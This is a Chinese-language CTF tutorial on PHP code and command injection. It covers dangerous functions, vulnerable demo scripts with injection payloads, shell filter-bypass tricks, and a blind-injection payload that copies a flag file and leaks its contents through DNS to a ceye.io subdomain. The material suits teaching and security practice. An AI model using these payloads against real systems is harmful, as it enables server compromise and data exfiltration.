目录

CTF 中的命令执行漏洞

CTF 中的命令执行漏洞相关

由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器端执行。 代码 / 命令注入攻击中 Web 服务器没有过滤类似 system()、eval()、exec() 等函数的传入参数是该漏洞攻击成功的最主要原因。

1 代码注入

1.1 相关函数

1.1.1 eval

1
2
3
4
5
<?php
	hilight_file(__FILE__);
	$a = 'phpinfo();';
	eval($a);
?>

1.1.2 assert

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114154122.png-water_print

1.1.3 call_user_func

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114154625.png-water_print

可以使用 is_callable 函数查看是否可以被回调

1.1.4 call_user_func_array

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114154922.png-water_print

1.1.5 create_function

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210114155018.png-water_print

1.1.6 preg_replace

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210114155342.png-water_print

搜索 subject 中匹配 pattern 的部分, 以 replacement 或其执行结果进行替换。

1.1.7 array_map

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114160430.png-water_print

payload:url?a=assert&b=phpinfo()

1.1.8 usort

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114160801.png-water_print

Payload:url?1[]=phpinfo()&1[]=123&2=assert

1.1.9 uasort

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114162913.png-water_print

1.1.10 ${php 代码}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114163026.png-water_print

1.2 DEMO

1
2
3
4
5
6
7
<?php
	hightlight_file(__FILE__);
	$price = $_GET['price'];
	$code = 'echo $name'. '的价格是'. $price. ';';
	$b = create_function('$name', $code);
	$b('iPhone');
?>

Payload:url?price=123;}phpinfo();/*

2 命令注入

2.1 相关函数

2.1.1 system

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114191146.png-water_print

2.1.2 exec

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114191300.png-water_print

2.1.3 passthru

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114191328.png-water_print

2.1.4 shell_exec

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114191425.png-water_print

2.1.5 `` 运算符

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114191642.png-water_print

2.1.6 ob_start

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114191719.png-water_print

2.2 命令执行的绕过

2.2.1 命令执行的分隔符

例如:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$rce = "echo 123";
system($rce. $_GET[1]);
?>

如何实现命令执行

  • 换行符 %0a
  • 回车符 %0d
  • 连续指令 ;
  • 后台进程 &
  • 管道符 |
  • 逻辑 ||、&&

2.2.2 命令执行的分隔符

  • < 符号
  • $IFS
  • ${IFS}
  • $IFS$9
  • %09 用于url传递
  • ${9}

2.2.3 其它 Tips

2.2.3.1 命令拼接
1
$a=l;$b=s;$a$b
2.2.3.2 base64 编码
1
`echo cHdk | base64 -D`
2.2.3.3 substr string pos len

该表达式是从 string 中取出从 pos 位置开始长度为 len 的子字符串。如果 pos 或 len 为非正整数时,将返回空字符串。

echo “${PATH:0:1}” -> /

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114193636.png-water_print

1
2
3
echo "`expr\$IFS\substr\\$IFS\\$(pwd)\\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)` -> /
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1{$IFS}1

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20190114193731.png-water_print

2.3 命令无回显的情况

2.3.1 判断

  • 延时
    • ls|sleep(3)
  • HTTP 请求
  • DNS 请求
    • ceye.io

2.3.2 利用

  • 写 shell(直接写入、外部下载)
  • http / dns 等方式带出

2.3.3 DEMO

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("where_is_flag.php");
echo "ping:";
$ip = (string)$_GET['ping'];
$ip = str_replace(">", "0.0", $ip);
shell_exec("ping ".$ip);
?>

payload:

1
2
ip=;cp where_is_flag.php 1.txt
ip=`cat 1.txt|sed s/[[:space:]]//`.xx.ceye.io
技巧
cat 1.txt|sed s//[[:space:]]//g 是去除空格的作用